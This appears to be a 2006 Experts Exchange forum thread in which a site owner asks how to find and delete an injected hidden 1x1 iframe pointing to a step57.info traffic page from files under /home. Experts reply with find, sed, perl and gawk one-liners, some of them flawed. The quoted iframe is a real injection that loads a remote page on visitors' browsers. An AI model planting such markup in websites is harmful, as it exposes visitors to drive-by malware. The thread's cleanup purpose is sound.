?
Solved

quick help with grep 500

Posted on 2006-04-27
6
Medium Priority
?
335 Views
Last Modified: 2013-12-16
go to /home
grep -rl "step57" *

You will see the affected files the line that is added is:
[iframe width="1" height="1" src="http://step57.info/traff/index2.php" style="border: 0;"][/iframe]

I need to do two things:

1. remove that line

2. is there a way to grep for that and only show the directories that the pattern is in?

0
Comment
Question by:jbrashear72
  • 3
  • 2
6 Comments
 
LVL 51

Expert Comment

by:ahoffmann
ID: 16559768
1. sed -e '/step57/d' file > new-file
2. grep -rl "step57" * | gawk -F/ 'BEGIN{OFS="/"}{$NF="";print}'|sort -u
0
 
LVL 3

Author Comment

by:jbrashear72
ID: 16577897
sed -e '/step57/d' file > new-file

requires giving it a file name and a new file name

can I recursavly go through a directory and find the and replace then  through out a directory say like /home    ?
A wimd card just look at all the files if the file exist then replace that line     [iframe width="1" height="1" src="http://step57.info/traff/index2.php" style="border: 0;"][/iframe]

with nothing a space ""

-J
0
 
LVL 51

Expert Comment

by:ahoffmann
ID: 16578332
your question is about grep, it cannot be done with grep
but try following:

find /home -type f -exec perl -i.bak -pe 's/lamb/sheep/g' {} \; -print
0
Technology Partners: We Want Your Opinion!

We value your feedback.

Take our survey and automatically be enter to win anyone of the following:
Yeti Cooler, Amazon eGift Card, and Movie eGift Card!

 
LVL 22

Expert Comment

by:pjedmond
ID: 16606813
As pointed out already, you need sed for this. All you need is:

find /var/www/html | grep "\.html$" | gawk '{print "sed /step57/d " $0 " > /newfolder" $0}' | /bin/bash

scan all .html files and delete the line containing step57, and copy the resulting file to /newfolder

find /newfolder | grep "\.html$" | gawk '{print "mv " $0 " > /var" $0}' | /bin/bash

Copy the corrected files over the old corrupted ones. (2 lines  :)   )

Obviously make a backup before trying this:)

Full explanation is at:

http://www.experts-exchange.com/Operating_Systems/Linux/Linux_Administration/Q_21822732.html

HTH:)
0
 
LVL 22

Accepted Solution

by:
pjedmond earned 2000 total points
ID: 16606871
If you want to check whether a directory has any infected files, a quick and dirty way is to:

find /foldertocheck | grep "\.html$" | gawk '{print "cat " $0}' | /bin/bash | grep step57

Basically this lists every .html file recursively in the directory concerned, and if any line contains step57, it will print that line out. It doesn't tell you which file, but it does give you a yes or no, (and a count) of whether files in the folder concerned are infected.

HTH:)
0
 
LVL 22

Expert Comment

by:pjedmond
ID: 16606893
Ooops:

find /newfolder | grep "\.html$" | gawk '{print "mv " $0 " > /var" $0}' | /bin/bash

should be:

find /newfolder | grep "\.html$" | gawk '{print "mv " $0 " > /var/www/html" $0}' | /bin/bash

obviously alter the foldes depending on where your web server root is. The above is for the default RHEL apache setup.
0

Featured Post

Concerto Cloud for Software Providers & ISVs

Can Concerto Cloud Services help you focus on evolving your application offerings, while delivering the best cloud experience to your customers? From DevOps to revenue models and customer support, the answer is yes!

Learn how Concerto can help you.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

Linux users are sometimes dumbfounded by the severe lack of documentation on a topic. Sometimes, the documentation is copious, but other times, you end up with some obscure "it varies depending on your distribution" over and over when searching for …
It’s 2016. Password authentication should be dead — or at least close to dying. But, unfortunately, it has not traversed Quagga stage yet. Using password authentication is like laundering hotel guest linens with a washboard — it’s Passé.
Learn several ways to interact with files and get file information from the bash shell. ls lists the contents of a directory: Using the -a flag displays hidden files: Using the -l flag formats the output in a long list: The file command gives us mor…
This demo shows you how to set up the containerized NetScaler CPX with NetScaler Management and Analytics System in a non-routable Mesos/Marathon environment for use with Micro-Services applications.
Suggested Courses
Course of the Month15 days, 18 hours left to enroll

850 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question